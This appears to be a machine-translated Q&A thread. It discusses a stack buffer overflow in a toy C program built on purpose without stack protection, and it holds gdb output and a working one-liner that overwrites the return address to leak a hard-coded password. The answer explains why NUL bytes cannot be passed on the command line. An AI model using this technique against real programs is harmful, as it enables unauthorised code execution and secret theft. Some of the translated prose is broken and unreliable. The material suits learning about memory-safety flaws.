我在 C 中有这个程序。
#include <stdio.h>
#include <string.h>
char * pwd = "pwd0";
void print_my_pwd() {
printf("your pwd is: %s\n", pwd);
}
int check_pwd(char * uname, char * upwd) {
char name[8];
strcpy(name, uname);
if (strcmp(pwd, upwd)) {
printf("non authorized\n");
return 1;
}
printf("authorized\n");
return 0;
}
int main(int argc, char ** argv) {
check_pwd(argv[1], argv[2]);
return 0;
}
我构建它并检查它是否存在缓冲区溢出。
$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12 strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
called by frame at 0x7fffffffd6f0
source language c.
Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
Saved registers:
rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
A debugging session is active.
Inferior 1 [process 21935] will be killed.
Quit anyway? (y or n) y
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$
所以有可能从程序中泄露秘密,但如果地址0x55555555003a
不是 ,我该怎么办0x55555555473a
?然后我不知道如何传递零,因为它会被表示为一个空字节,而 shell 不会解释它。
因此,您的程序执行以下操作。该
check_pwd
函数在您溢出的堆栈上分配一个缓冲区,因此返回地址已损坏。您尝试选择这种损坏,使其指向另一个函数,如果在小端机器上解释为 64 位值,则print_my_pwd
该字符串为 0x??0055555555473A,前 8 位未定义。:GUUUU
如果 8 位为零,则您的地址为print_my_pwd
. 这 16 个A
字符用于填充 8 字节name
数组,然后覆盖存储的帧指针。所以你的问题是“如果我需要一个 0 字节作为返回地址的一部分,我如何在命令行上指定它?”,答案是“没关系,因为你使用 strcpy 来做溢出并将在 NUL 字节处停止,因此攻击将失败。”
一般来说,你的问题的答案是内核的接口是基于 C 字符串的,所以即使你的程序使用 memcpy 而不是 strcpy,你仍然无法做你想做的事。
真正的缓冲区溢出攻击跳转到自己的代码,频繁构造值存储在内存中,不需要担心NUL字符。